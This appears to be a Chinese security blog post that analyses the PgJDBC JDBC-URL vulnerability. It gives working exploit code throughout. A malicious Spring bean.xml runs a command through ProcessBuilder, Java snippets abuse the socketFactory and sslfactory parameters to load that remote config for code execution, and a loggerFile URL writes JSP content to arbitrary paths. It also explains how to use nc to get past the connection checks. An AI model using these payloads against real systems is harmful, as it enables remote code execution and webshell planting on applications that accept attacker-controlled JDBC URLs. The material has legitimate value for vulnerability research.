参考:https://xz.aliyun.com/t/11812

依赖

影响范围:

9.4.1208 <=PgJDBC <42.2.25

42.3.0 <=PgJDBC < 42.3.2

<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>

ClassPathXmlApplicationContext

首先要知道这个东西可以加载远程配置文件,创建bean。

运行这一条语句即可弹calc。

new ClassPathXmlApplicationContext("http://127.0.0.1:8787/bean.xml");

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建bean-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

socketFactory

public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8787/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);

}

调用栈

image-20240226220132312.png

openConnection之前的全部方法,大概看了下,都是初始化。

在openConnectionImpl中,一定会进入getSocketFactory方法,没有其他限制。

在getSocketFactory中,若不指定socketFactory,则用Default。若手动指定则会去初始化对象。

那么指定socketFactory为ClassPathXmlApplicationContext,并且设置好参数,即可加载远程配置文件rce。

image-20240226220359880.png

sslfactory

猜测sink点还是ObjectFactory#instantiate,右键,find usage 然后逐层往上找。

SocketFactoryFactory#getSslSocketFactory
MakeSSL#convert
ConnectionFactoryImpl#enableSSL
ConnectionFactoryImpl#tryConnect
ConnectionFactoryImpl#openConnectionImpl // 这就是入口

分析其中的流程后,最终到达这里:

image-20240226222736682.png

这里只需要让url参数里的sslfactory为上面的ClassPathXmlApplicationContext,让sslfactoryarg为http://127.0.0.1:8787/bean.xml即可。

调用栈:

image-20240226222647306.png

exp

public static void main(String[] args) throws SQLException {
String sslfactory = "org.springframework.context.support.ClassPathXmlApplicationContext";
String sslfactoryarg = "http://127.0.0.1:8787/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?sslfactory="+sslfactory+"&sslfactoryarg="+sslfactoryarg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}

注意点

ConnectionFactoryImpl#tryConnect中:

image-20240226223054939.png

他会向pg服务器建立tcp连接,只是建立而已,所以nc监听一下保证这一行不连接超时就行。

ConnectionFactoryImpl#enableSSL中,会向pg地址发送几个数据,并获取响应,根据响应的不同进入不同的分支。

这里只要手动向nc输入一个S字符就可以了。

image-20240226223203286.png

然后就进入了convert,最后是getSslSocketFactory。

loggerFile

可以跨目录写文件

public static void main(String[] args) throws SQLException {
String content = "<%java code%>";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?loggerLevel=DEBUG&loggerFile=bbbb.txt&"+content;
Connection connection = DriverManager.getConnection(jdbcUrl);
}

image-20240226232320811.png